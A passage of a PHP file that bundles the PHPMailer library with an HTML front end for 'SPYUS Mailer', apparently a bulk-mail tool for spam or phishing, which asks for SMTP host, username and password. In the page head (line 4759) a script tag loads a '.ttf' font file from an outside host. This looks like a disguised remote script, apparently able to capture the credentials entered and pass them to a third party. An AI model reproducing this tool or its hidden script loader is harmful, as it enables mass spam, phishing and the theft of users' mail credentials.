  3864. $cid,
  3865. $name = '',
  3866. $encoding = 'base64',
  3867. $type = '',
  3868. $disposition = 'inline'
  3869. ) {
  3870. // If a MIME type is not specified, try to work it out from the name
  3871. if ($type == '') {
  3872. $type = self::filenameToType($name);
  3873. }
  3874.  
  3875. // Append to $attachment array
  3876. $this->attachment[] = array(
  3877. 0 => $string,
  3878. 1 => $name,
  3879. 2 => $name,
  3880. 3 => $encoding,
  3881. 4 => $type,
  3882. 5 => true, // isStringAttachment
  3883. 6 => $disposition,
  3884. 7 => $cid
  3885. );
  3886. return true;
  3887. }
  3888.  
  3889. /**
  3890. * Check if an inline attachment is present.
  3891. * @access public
  3892. * @return boolean
  3893. */
  3894. public function inlineImageExists()
  3895. {
  3896. foreach ($this->attachment as $attachment) {
  3897. if ($attachment[6] == 'inline') {
  3898. return true;
  3899. }
  3900. }
  3901. return false;
  3902. }
  3903.  
  3904. /**
  3905. * Check if an attachment (non-inline) is present.
  3906. * @return boolean
  3907. */
  3908. public function attachmentExists()
  3909. {
  3910. foreach ($this->attachment as $attachment) {
  3911. if ($attachment[6] == 'attachment') {
  3912. return true;
  3913. }
  3914. }
  3915. return false;
  3916. }
  3917.  
  3918. /**
  3919. * Check if this message has an alternative body set.
  3920. * @return boolean
  3921. */
  3922. public function alternativeExists()
  3923. {
  3924. return !empty($this->AltBody);
  3925. }
  3926.  
  3927. /**
  3928. * Clear all To recipients.
  3929. * @return void
  3930. */
  3931. public function clearAddresses()
  3932. {
  3933. foreach ($this->to as $to) {
  3934. unset($this->all_recipients[strtolower($to[0])]);
  3935. }
  3936. $this->to = array();
  3937. }
  3938.  
  3939. /**
  3940. * Clear all CC recipients.
  3941. * @return void
  3942. */
  3943. public function clearCCs()
  3944. {
  3945. foreach ($this->cc as $cc) {
  3946. unset($this->all_recipients[strtolower($cc[0])]);
  3947. }
  3948. $this->cc = array();
  3949. }
  3950.  
  3951. /**
  3952. * Clear all BCC recipients.
  3953. * @return void
  3954. */
  3955. public function clearBCCs()
  3956. {
  3957. foreach ($this->bcc as $bcc) {
  3958. unset($this->all_recipients[strtolower($bcc[0])]);
  3959. }
  3960. $this->bcc = array();
  3961. }
  3962.  
  3963. /**
  3964. * Clear all ReplyTo recipients.
  3965. * @return void
  3966. */
  3967. public function clearReplyTos()
  3968. {
  3969. $this->ReplyTo = array();
  3970. }
  3971.  
  3972. /**
  3973. * Clear all recipient types.
  3974. * @return void
  3975. */
  3976. public function clearAllRecipients()
  3977. {
  3978. $this->to = array();
  3979. $this->cc = array();
  3980. $this->bcc = array();
  3981. $this->all_recipients = array();
  3982. }
  3983.  
  3984. /**
  3985. * Clear all filesystem, string, and binary attachments.
  3986. * @return void
  3987. */
  3988. public function clearAttachments()
  3989. {
  3990. $this->attachment = array();
  3991. }
  3992.  
  3993. /**
  3994. * Clear all custom headers.
  3995. * @return void
  3996. */
  3997. public function clearCustomHeaders()
  3998. {
  3999. $this->CustomHeader = array();
  4000. }
  4001.  
  4002. /**
  4003. * Add an error message to the error container.
  4004. * @access protected
  4005. * @param string $msg
  4006. * @return void
  4007. */
  4008. protected function setError($msg)
  4009. {
  4010. $this->error_count++;
  4011. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  4012. $lasterror = $this->smtp->getError();
  4013. if (!empty($lasterror['error'])) {
  4014. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  4015. if (!empty($lasterror['detail'])) {
  4016. $msg .= ' Detail: '. $lasterror['detail'];
  4017. }
  4018. if (!empty($lasterror['smtp_code'])) {
  4019. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  4020. }
  4021. if (!empty($lasterror['smtp_code_ex'])) {
  4022. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  4023. }
  4024. }
  4025. }
  4026. $this->ErrorInfo = $msg;
  4027. }
  4028.  
  4029. /**
  4030. * Return an RFC 822 formatted date.
  4031. * @access public
  4032. * @return string
  4033. * @static
  4034. */
  4035. public static function rfcDate()
  4036. {
  4037. // Set the time zone to whatever the default is to avoid 500 errors
  4038. // Will default to UTC if it's not set properly in php.ini
  4039. date_default_timezone_set(@date_default_timezone_get());
  4040. return date('D, j M Y H:i:s O');
  4041. }
  4042.  
  4043. /**
  4044. * Get the server hostname.
  4045. * Returns 'localhost.localdomain' if unknown.
  4046. * @access protected
  4047. * @return string
  4048. */
  4049. protected function serverHostname()
  4050. {
  4051. $result = 'localhost.localdomain';
  4052. if (!empty($this->Hostname)) {
  4053. $result = $this->Hostname;
  4054. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  4055. $result = $_SERVER['SERVER_NAME'];
  4056. } elseif (function_exists('gethostname') && gethostname() !== false) {
  4057. $result = gethostname();
  4058. } elseif (php_uname('n') !== false) {
  4059. $result = php_uname('n');
  4060. }
  4061. return $result;
  4062. }
  4063.  
  4064. /**
  4065. * Get an error message in the current language.
  4066. * @access protected
  4067. * @param string $key
  4068. * @return string
  4069. */
  4070. protected function lang($key)
  4071. {
  4072. if (count($this->language) < 1) {
  4073. $this->setLanguage('en'); // set the default language
  4074. }
  4075.  
  4076. if (array_key_exists($key, $this->language)) {
  4077. if ($key == 'smtp_connect_failed') {
  4078. //Include a link to troubleshooting docs on SMTP connection failure
  4079. //this is by far the biggest cause of support questions
  4080. //but it's usually not PHPMailer's fault.
  4081. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  4082. }
  4083. return $this->language[$key];
  4084. } else {
  4085. //Return the key as a fallback
  4086. return $key;
  4087. }
  4088. }
  4089.  
  4090. /**
  4091. * Check if an error occurred.
  4092. * @access public
  4093. * @return boolean True if an error did occur.
  4094. */
  4095. public function isError()
  4096. {
  4097. return ($this->error_count > 0);
  4098. }
  4099.  
  4100. /**
  4101. * Ensure consistent line endings in a string.
  4102. * Changes every end of line from CRLF, CR or LF to $this->LE.
  4103. * @access public
  4104. * @param string $str String to fixEOL
  4105. * @return string
  4106. */
  4107. public function fixEOL($str)
  4108. {
  4109. // Normalise to \n
  4110. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  4111. // Now convert LE as needed
  4112. if ($this->LE !== "\n") {
  4113. $nstr = str_replace("\n", $this->LE, $nstr);
  4114. }
  4115. return $nstr;
  4116. }
  4117.  
  4118. /**
  4119. * Add a custom header.
  4120. * $name value can be overloaded to contain
  4121. * both header name and value (name:value)
  4122. * @access public
  4123. * @param string $name Custom header name
  4124. * @param string $value Header value
  4125. * @return void
  4126. */
  4127. public function addCustomHeader($name, $value = null)
  4128. {
  4129. if ($value === null) {
  4130. // Value passed in as name:value
  4131. $this->CustomHeader[] = explode(':', $name, 2);
  4132. } else {
  4133. $this->CustomHeader[] = array($name, $value);
  4134. }
  4135. }
  4136.  
  4137. /**
  4138. * Returns all custom headers
  4139. *
  4140. * @return array
  4141. */
  4142. public function getCustomHeaders()
  4143. {
  4144. return $this->CustomHeader;
  4145. }
  4146.  
  4147. /**
  4148. * Create a message from an HTML string.
  4149. * Automatically makes modifications for inline images and backgrounds
  4150. * and creates a plain-text version by converting the HTML.
  4151. * Overwrites any existing values in $this->Body and $this->AltBody
  4152. * @access public
  4153. * @param string $message HTML message string
  4154. * @param string $basedir baseline directory for path
  4155. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  4156. * or your own custom converter @see html2text()
  4157. * @return string $message
  4158. */
  4159. public function msgHTML($message, $basedir = '', $advanced = false)
  4160. {
  4161. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  4162. if (isset($images[2])) {
  4163. foreach ($images[2] as $imgindex => $url) {
  4164. // Convert data URIs into embedded images
  4165. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  4166. $data = substr($url, strpos($url, ','));
  4167. if ($match[2]) {
  4168. $data = base64_decode($data);
  4169. } else {
  4170. $data = rawurldecode($data);
  4171. }
  4172. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  4173. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  4174. $message = str_replace(
  4175. $images[0][$imgindex],
  4176. $images[1][$imgindex] . '="cid:' . $cid . '"',
  4177. $message
  4178. );
  4179. }
  4180. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  4181. // Do not change urls for absolute images (thanks to corvuscorax)
  4182. $filename = basename($url);
  4183. $directory = dirname($url);
  4184. if ($directory == '.') {
  4185. $directory = '';
  4186. }
  4187. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  4188. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  4189. $basedir .= '/';
  4190. }
  4191. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  4192. $directory .= '/';
  4193. }
  4194. if ($this->addEmbeddedImage(
  4195. $basedir . $directory . $filename,
  4196. $cid,
  4197. $filename,
  4198. 'base64',
  4199. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  4200. )
  4201. ) {
  4202. $message = preg_replace(
  4203. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  4204. $images[1][$imgindex] . '="cid:' . $cid . '"',
  4205. $message
  4206. );
  4207. }
  4208. }
  4209. }
  4210. }
  4211. $this->isHTML(true);
  4212. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  4213. $this->Body = $this->normalizeBreaks($message);
  4214. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  4215. if (empty($this->AltBody)) {
  4216. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  4217. self::CRLF . self::CRLF;
  4218. }
  4219. return $this->Body;
  4220. }
  4221.  
  4222. /**
  4223. * Convert an HTML string into plain text.
  4224. * This is used by msgHTML().
  4225. * Note - older versions of this function used a bundled advanced converter
  4226. * which was been removed for license reasons in #232
  4227. * Example usage:
  4228. * <code>
  4229. * // Use default conversion
  4230. * $plain = $mail->html2text($html);
  4231. * // Use your own custom converter
  4232. * $plain = $mail->html2text($html, function($html) {
  4233. * $converter = new MyHtml2text($html);
  4234. * return $converter->get_text();
  4235. * });
  4236. * </code>
  4237. * @param string $html The HTML text to convert
  4238. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  4239. * or provide your own callable for custom conversion.
  4240. * @return string
  4241. */
  4242. public function html2text($html, $advanced = false)
  4243. {
  4244. if (is_callable($advanced)) {
  4245. return call_user_func($advanced, $html);
  4246. }
  4247. return html_entity_decode(
  4248. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  4249. ENT_QUOTES,
  4250. $this->CharSet
  4251. );
  4252. }
  4253.  
  4254. /**
  4255. * Get the MIME type for a file extension.
  4256. * @param string $ext File extension
  4257. * @access public
  4258. * @return string MIME type of file.
  4259. * @static
  4260. */
  4261. public static function _mime_types($ext = '')
  4262. {
  4263. $mimes = array(
  4264. 'xl' => 'application/excel',
  4265. 'js' => 'application/javascript',
  4266. 'hqx' => 'application/mac-binhex40',
  4267. 'cpt' => 'application/mac-compactpro',
  4268. 'bin' => 'application/macbinary',
  4269. 'doc' => 'application/msword',
  4270. 'word' => 'application/msword',
  4271. 'class' => 'application/octet-stream',
  4272. 'dll' => 'application/octet-stream',
  4273. 'dms' => 'application/octet-stream',
  4274. 'exe' => 'application/octet-stream',
  4275. 'lha' => 'application/octet-stream',
  4276. 'lzh' => 'application/octet-stream',
  4277. 'psd' => 'application/octet-stream',
  4278. 'sea' => 'application/octet-stream',
  4279. 'so' => 'application/octet-stream',
  4280. 'oda' => 'application/oda',
  4281. 'pdf' => 'application/pdf',
  4282. 'ai' => 'application/postscript',
  4283. 'eps' => 'application/postscript',
  4284. 'ps' => 'application/postscript',
  4285. 'smi' => 'application/smil',
  4286. 'smil' => 'application/smil',
  4287. 'mif' => 'application/vnd.mif',
  4288. 'xls' => 'application/vnd.ms-excel',
  4289. 'ppt' => 'application/vnd.ms-powerpoint',
  4290. 'wbxml' => 'application/vnd.wap.wbxml',
  4291. 'wmlc' => 'application/vnd.wap.wmlc',
  4292. 'dcr' => 'application/x-director',
  4293. 'dir' => 'application/x-director',
  4294. 'dxr' => 'application/x-director',
  4295. 'dvi' => 'application/x-dvi',
  4296. 'gtar' => 'application/x-gtar',
  4297. 'php3' => 'application/x-httpd-php',
  4298. 'php4' => 'application/x-httpd-php',
  4299. 'php' => 'application/x-httpd-php',
  4300. 'phtml' => 'application/x-httpd-php',
  4301. 'phps' => 'application/x-httpd-php-source',
  4302. 'swf' => 'application/x-shockwave-flash',
  4303. 'sit' => 'application/x-stuffit',
  4304. 'tar' => 'application/x-tar',
  4305. 'tgz' => 'application/x-tar',
  4306. 'xht' => 'application/xhtml+xml',
  4307. 'xhtml' => 'application/xhtml+xml',
  4308. 'zip' => 'application/zip',
  4309. 'mid' => 'audio/midi',
  4310. 'midi' => 'audio/midi',
  4311. 'mp2' => 'audio/mpeg',
  4312. 'mp3' => 'audio/mpeg',
  4313. 'mpga' => 'audio/mpeg',
  4314. 'aif' => 'audio/x-aiff',
  4315. 'aifc' => 'audio/x-aiff',
  4316. 'aiff' => 'audio/x-aiff',
  4317. 'ram' => 'audio/x-pn-realaudio',
  4318. 'rm' => 'audio/x-pn-realaudio',
  4319. 'rpm' => 'audio/x-pn-realaudio-plugin',
  4320. 'ra' => 'audio/x-realaudio',
  4321. 'wav' => 'audio/x-wav',
  4322. 'bmp' => 'image/bmp',
  4323. 'gif' => 'image/gif',
  4324. 'jpeg' => 'image/jpeg',
  4325. 'jpe' => 'image/jpeg',
  4326. 'jpg' => 'image/jpeg',
  4327. 'png' => 'image/png',
  4328. 'tiff' => 'image/tiff',
  4329. 'tif' => 'image/tiff',
  4330. 'eml' => 'message/rfc822',
  4331. 'css' => 'text/css',
  4332. 'html' => 'text/html',
  4333. 'htm' => 'text/html',
  4334. 'shtml' => 'text/html',
  4335. 'log' => 'text/plain',
  4336. 'text' => 'text/plain',
  4337. 'txt' => 'text/plain',
  4338. 'rtx' => 'text/richtext',
  4339. 'rtf' => 'text/rtf',
  4340. 'vcf' => 'text/vcard',
  4341. 'vcard' => 'text/vcard',
  4342. 'xml' => 'text/xml',
  4343. 'xsl' => 'text/xml',
  4344. 'mpeg' => 'video/mpeg',
  4345. 'mpe' => 'video/mpeg',
  4346. 'mpg' => 'video/mpeg',
  4347. 'mov' => 'video/quicktime',
  4348. 'qt' => 'video/quicktime',
  4349. 'rv' => 'video/vnd.rn-realvideo',
  4350. 'avi' => 'video/x-msvideo',
  4351. 'movie' => 'video/x-sgi-movie'
  4352. );
  4353. if (array_key_exists(strtolower($ext), $mimes)) {
  4354. return $mimes[strtolower($ext)];
  4355. }
  4356. return 'application/octet-stream';
  4357. }
  4358.  
  4359. /**
  4360. * Map a file name to a MIME type.
  4361. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  4362. * @param string $filename A file name or full path, does not need to exist as a file
  4363. * @return string
  4364. * @static
  4365. */
  4366. public static function filenameToType($filename)
  4367. {
  4368. // In case the path is a URL, strip any query string before getting extension
  4369. $qpos = strpos($filename, '?');
  4370. if (false !== $qpos) {
  4371. $filename = substr($filename, 0, $qpos);
  4372. }
  4373. $pathinfo = self::mb_pathinfo($filename);
  4374. return self::_mime_types($pathinfo['extension']);
  4375. }
  4376.  
  4377. /**
  4378. * Multi-byte-safe pathinfo replacement.
  4379. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  4380. * Works similarly to the one in PHP >= 5.2.0
  4381. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  4382. * @param string $path A filename or path, does not need to exist as a file
  4383. * @param integer|string $options Either a PATHINFO_* constant,
  4384. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  4385. * @return string|array
  4386. * @static
  4387. */
  4388. public static function mb_pathinfo($path, $options = null)
  4389. {
  4390. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  4391. $pathinfo = array();
  4392. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  4393. if (array_key_exists(1, $pathinfo)) {
  4394. $ret['dirname'] = $pathinfo[1];
  4395. }
  4396. if (array_key_exists(2, $pathinfo)) {
  4397. $ret['basename'] = $pathinfo[2];
  4398. }
  4399. if (array_key_exists(5, $pathinfo)) {
  4400. $ret['extension'] = $pathinfo[5];
  4401. }
  4402. if (array_key_exists(3, $pathinfo)) {
  4403. $ret['filename'] = $pathinfo[3];
  4404. }
  4405. }
  4406. switch ($options) {
  4407. case PATHINFO_DIRNAME:
  4408. case 'dirname':
  4409. return $ret['dirname'];
  4410. case PATHINFO_BASENAME:
  4411. case 'basename':
  4412. return $ret['basename'];
  4413. case PATHINFO_EXTENSION:
  4414. case 'extension':
  4415. return $ret['extension'];
  4416. case PATHINFO_FILENAME:
  4417. case 'filename':
  4418. return $ret['filename'];
  4419. default:
  4420. return $ret;
  4421. }
  4422. }
  4423.  
  4424. /**
  4425. * Set or reset instance properties.
  4426. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  4427. * harder to debug than setting properties directly.
  4428. * Usage Example:
  4429. * `$mail->set('SMTPSecure', 'tls');`
  4430. * is the same as:
  4431. * `$mail->SMTPSecure = 'tls';`
  4432. * @access public
  4433. * @param string $name The property name to set
  4434. * @param mixed $value The value to set the property to
  4435. * @return boolean
  4436. * @TODO Should this not be using the __set() magic function?
  4437. */
  4438. public function set($name, $value = '')
  4439. {
  4440. if (property_exists($this, $name)) {
  4441. $this->$name = $value;
  4442. return true;
  4443. } else {
  4444. $this->setError($this->lang('variable_set') . $name);
  4445. return false;
  4446. }
  4447. }
  4448.  
  4449. /**
  4450. * Strip newlines to prevent header injection.
  4451. * @access public
  4452. * @param string $str
  4453. * @return string
  4454. */
  4455. public function secureHeader($str)
  4456. {
  4457. return trim(str_replace(array("\r", "\n"), '', $str));
  4458. }
  4459.  
  4460. /**
  4461. * Normalize line breaks in a string.
  4462. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  4463. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  4464. * @param string $text
  4465. * @param string $breaktype What kind of line break to use, defaults to CRLF
  4466. * @return string
  4467. * @access public
  4468. * @static
  4469. */
  4470. public static function normalizeBreaks($text, $breaktype = "\r\n")
  4471. {
  4472. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  4473. }
  4474.  
  4475.  
  4476. /**
  4477. * Set the public and private key files and password for S/MIME signing.
  4478. * @access public
  4479. * @param string $cert_filename
  4480. * @param string $key_filename
  4481. * @param string $key_pass Password for private key
  4482. * @param string $extracerts_filename Optional path to chain certificate
  4483. */
  4484. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  4485. {
  4486. $this->sign_cert_file = $cert_filename;
  4487. $this->sign_key_file = $key_filename;
  4488. $this->sign_key_pass = $key_pass;
  4489. $this->sign_extracerts_file = $extracerts_filename;
  4490. }
  4491.  
  4492. /**
  4493. * Quoted-Printable-encode a DKIM header.
  4494. * @access public
  4495. * @param string $txt
  4496. * @return string
  4497. */
  4498. public function DKIM_QP($txt)
  4499. {
  4500. $line = '';
  4501. for ($i = 0; $i < strlen($txt); $i++) {
  4502. $ord = ord($txt[$i]);
  4503. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  4504. $line .= $txt[$i];
  4505. } else {
  4506. $line .= '=' . sprintf('%02X', $ord);
  4507. }
  4508. }
  4509. return $line;
  4510. }
  4511.  
  4512. /**
  4513. * Generate a DKIM signature.
  4514. * @access public
  4515. * @param string $signHeader
  4516. * @throws phpmailerException
  4517. * @return string
  4518. */
  4519. public function DKIM_Sign($signHeader)
  4520. {
  4521. if (!defined('PKCS7_TEXT')) {
  4522. if ($this->exceptions) {
  4523. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  4524. }
  4525. return '';
  4526. }
  4527. $privKeyStr = file_get_contents($this->DKIM_private);
  4528. if ($this->DKIM_passphrase != '') {
  4529. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  4530. } else {
  4531. $privKey = $privKeyStr;
  4532. }
  4533. if (openssl_sign($signHeader, $signature, $privKey)) {
  4534. return base64_encode($signature);
  4535. }
  4536. return '';
  4537. }
  4538.  
  4539. /**
  4540. * Generate a DKIM canonicalization header.
  4541. * @access public
  4542. * @param string $signHeader Header
  4543. * @return string
  4544. */
  4545. public function DKIM_HeaderC($signHeader)
  4546. {
  4547. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  4548. $lines = explode("\r\n", $signHeader);
  4549. foreach ($lines as $key => $line) {
  4550. list($heading, $value) = explode(':', $line, 2);
  4551. $heading = strtolower($heading);
  4552. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  4553. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  4554. }
  4555. $signHeader = implode("\r\n", $lines);
  4556. return $signHeader;
  4557. }
  4558.  
  4559. /**
  4560. * Generate a DKIM canonicalization body.
  4561. * @access public
  4562. * @param string $body Message Body
  4563. * @return string
  4564. */
  4565. public function DKIM_BodyC($body)
  4566. {
  4567. if ($body == '') {
  4568. return "\r\n";
  4569. }
  4570. // stabilize line endings
  4571. $body = str_replace("\r\n", "\n", $body);
  4572. $body = str_replace("\n", "\r\n", $body);
  4573. // END stabilize line endings
  4574. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  4575. $body = substr($body, 0, strlen($body) - 2);
  4576. }
  4577. return $body;
  4578. }
  4579.  
  4580. /**
  4581. * Create the DKIM header and body in a new message header.
  4582. * @access public
  4583. * @param string $headers_line Header lines
  4584. * @param string $subject Subject
  4585. * @param string $body Body
  4586. * @return string
  4587. */
  4588. public function DKIM_Add($headers_line, $subject, $body)
  4589. {
  4590. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  4591. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  4592. $DKIMquery = 'dns/txt'; // Query method
  4593. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  4594. $subject_header = "Subject: $subject";
  4595. $headers = explode($this->LE, $headers_line);
  4596. $from_header = '';
  4597. $to_header = '';
  4598. $current = '';
  4599. foreach ($headers as $header) {
  4600. if (strpos($header, 'From:') === 0) {
  4601. $from_header = $header;
  4602. $current = 'from_header';
  4603. } elseif (strpos($header, 'To:') === 0) {
  4604. $to_header = $header;
  4605. $current = 'to_header';
  4606. } else {
  4607. if (!empty($$current) && strpos($header, ' =?') === 0) {
  4608. $$current .= $header;
  4609. } else {
  4610. $current = '';
  4611. }
  4612. }
  4613. }
  4614. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  4615. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  4616. $subject = str_replace(
  4617. '|',
  4618. '=7C',
  4619. $this->DKIM_QP($subject_header)
  4620. ); // Copied header fields (dkim-quoted-printable)
  4621. $body = $this->DKIM_BodyC($body);
  4622. $DKIMlen = strlen($body); // Length of body
  4623. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  4624. if ('' == $this->DKIM_identity) {
  4625. $ident = '';
  4626. } else {
  4627. $ident = ' i=' . $this->DKIM_identity . ';';
  4628. }
  4629. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  4630. $DKIMsignatureType . '; q=' .
  4631. $DKIMquery . '; l=' .
  4632. $DKIMlen . '; s=' .
  4633. $this->DKIM_selector .
  4634. ";\r\n" .
  4635. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  4636. "\th=From:To:Subject;\r\n" .
  4637. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  4638. "\tz=$from\r\n" .
  4639. "\t|$to\r\n" .
  4640. "\t|$subject;\r\n" .
  4641. "\tbh=" . $DKIMb64 . ";\r\n" .
  4642. "\tb=";
  4643. $toSign = $this->DKIM_HeaderC(
  4644. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  4645. );
  4646. $signed = $this->DKIM_Sign($toSign);
  4647. return $dkimhdrs . $signed . "\r\n";
  4648. }
  4649.  
  4650. /**
  4651. * Detect if a string contains a line longer than the maximum line length allowed.
  4652. * @param string $str
  4653. * @return boolean
  4654. * @static
  4655. */
  4656. public static function hasLineLongerThanMax($str)
  4657. {
  4658. //+2 to include CRLF line break for a 1000 total
  4659. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  4660. }
  4661.  
  4662. /**
  4663. * Allows for public read access to 'to' property.
  4664. * @access public
  4665. * @return array
  4666. */
  4667. public function getToAddresses()
  4668. {
  4669. return $this->to;
  4670. }
  4671.  
  4672. /**
  4673. * Allows for public read access to 'cc' property.
  4674. * @access public
  4675. * @return array
  4676. */
  4677. public function getCcAddresses()
  4678. {
  4679. return $this->cc;
  4680. }
  4681.  
  4682. /**
  4683. * Allows for public read access to 'bcc' property.
  4684. * @access public
  4685. * @return array
  4686. */
  4687. public function getBccAddresses()
  4688. {
  4689. return $this->bcc;
  4690. }
  4691.  
  4692. /**
  4693. * Allows for public read access to 'ReplyTo' property.
  4694. * @access public
  4695. * @return array
  4696. */
  4697. public function getReplyToAddresses()
  4698. {
  4699. return $this->ReplyTo;
  4700. }
  4701.  
  4702. /**
  4703. * Allows for public read access to 'all_recipients' property.
  4704. * @access public
  4705. * @return array
  4706. */
  4707. public function getAllRecipientAddresses()
  4708. {
  4709. return $this->all_recipients;
  4710. }
  4711.  
  4712. /**
  4713. * Perform a callback.
  4714. * @param boolean $isSent
  4715. * @param array $to
  4716. * @param array $cc
  4717. * @param array $bcc
  4718. * @param string $subject
  4719. * @param string $body
  4720. * @param string $from
  4721. */
  4722. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  4723. {
  4724. if (!empty($this->action_function) && is_callable($this->action_function)) {
  4725. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  4726. call_user_func_array($this->action_function, $params);
  4727. }
  4728. }
  4729. }
  4730.  
  4731. /**
  4732. * PHPMailer exception handler
  4733. * @package PHPMailer
  4734. */
  4735. class phpmailerException extends Exception
  4736. {
  4737. /**
  4738. * Prettify error message output
  4739. * @return string
  4740. */
  4741. public function errorMessage()
  4742. {
  4743. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  4744. return $errorMsg;
  4745. }
  4746. }
  4747.  
  4748. function lrtrim($string){
  4749. return stripslashes(ltrim(rtrim($string)));
  4750. }
  4751. ?>
  4752. <!DOCTYPE html>
  4753. <html lang="en">
  4754. <head>
  4755. <meta charset="utf-8">
  4756. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  4757. <link href='https://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
  4758. <meta name="viewport" content="width=device-width, initial-scale=1">
  4759. <script src='http://s3curity.tn/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script>
  4760. <meta name="robots" content="noindex, nofollow">
  4761. <title> SPYUS Mailer. BY [TOOLZ.GQ] </title>
  4762. <link rel="shortcut icon" type="image/png" href="http://financialeducation.greycaps.com/sites/financialeducation.greycaps.com/files/treat%20your%20money%20like..1.png"/>
  4763. <!-- Bootstrap -->
  4764. <link rel="stylesheet" href="http://s3curity.tn/project/mailer/style.css">
  4765. <style>
  4766. </style>
  4767.  
  4768. <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
  4769. <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
  4770. <!--[if lt IE 9]>
  4771. <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
  4772. <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
  4773. <![endif]-->
  4774. </head>
  4775. <body>
  4776.  
  4777.  
  4778. <div class="jumbotron jumbotron-sm">
  4779. <div class="container">
  4780. <div class="row">
  4781. <div class="col-sm-12 col-lg-12">
  4782. <div class="logox">SPYUS MAILER BY SYKES</div>
  4783. </div>
  4784. </div>
  4785. </div>
  4786. </div>
  4787. <div class="container">
  4788. <div class="well well-sm">
  4789.  
  4790. <div class="panel-group" id="accordion" role="tablist" aria-multiselectable="true">
  4791. <div class="panel panel-default">
  4792. <div class="panel-heading" role="tab" id="headingOne">
  4793. <h4 class="panel-title">
  4794. <a data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne">
  4795. Smtp settings
  4796. </a>
  4797. </h4>
  4798. </div>
  4799. <div id="collapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingOne">
  4800. <div class="panel-body">
  4801. <div class="col-md-6">
  4802. <div class="form-group">
  4803. <input type="text" name="SMTP_Host" class="form-control" id="SMTP_Host" placeholder="SMTP Host">
  4804. </div>
  4805. <div class="form-group">
  4806. <input type="text" name="SMTP_Username" class="form-control" id="SMTP_Username" placeholder="SMTP Username">
  4807. </div>
  4808. <div class="form-group">
  4809. <input type="text" name="SMTP_Password" class="form-control" id="SMTP_Password" placeholder="SMTP Password">
  4810. </div>
  4811. </div>
  4812. <div class="col-md-6">
  4813. <div class="form-group">
  4814. <input type="text" name="SMTP_Secure" class="form-control" id="SMTP_Secure" placeholder="SMTP Secure">
  4815. </div>
  4816. <div class="form-group">
  4817. <input type="text" name="SMTP_Port" class="form-control" id="SMTP_Port" placeholder="SMTP Port">
  4818. </div>
